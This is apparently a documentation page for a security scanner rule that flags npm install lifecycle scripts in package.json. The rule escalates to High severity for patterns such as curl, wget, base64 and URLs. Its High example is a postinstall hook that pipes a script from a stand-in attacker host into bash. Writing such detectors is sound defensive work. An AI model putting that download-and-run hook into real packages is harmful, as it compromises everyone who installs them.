Skip to main content

PKG001-install-script-present

Dimension: security Default severity: Medium (escalates to High for suspicious script bodies) Languages: JavaScript / TypeScript (npm) Kind: ProjectLevel CWE: CWE-506 (Embedded Malicious Code) OWASP: —

What it detects​

Fires when package.json declares any of the following lifecycle scripts that run automatically during npm install or npm publish:

  • preinstall
  • install
  • postinstall
  • prepublish

Presence alone earns a Medium finding. Script bodies that contain any of the following patterns are escalated to High:

PatternReason
curl Network fetch — possible dropper
wget Network fetch — possible dropper
node -eInline code execution
base64Encoded payload — common obfuscation
http:// or https://Phone-home or remote fetch

Why it matters​

Install scripts run with the privileges of the installing user as soon as the package is installed. They are a well-known vector for supply-chain attacks. High-risk patterns (network fetchers, inline execution, base64) are characteristic of malware droppers and phone-home code.

Example — Medium (presence only)​

{
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

Example — High (suspicious body)​

{
  "scripts": {
    "postinstall": "curl https://attacker.example/payload.sh | bash"
  }
}

How to fix​

  • If the script performs legitimate setup, move the logic to a manually-invoked prepare or build script instead of an auto-run install hook.
  • If the script is not needed, remove it entirely.
  • Document the purpose of any retained install script in README.md so consumers can audit it before installing.

Suppression​

[ignore]
rules = ["PKG001-install-script-present"]

References​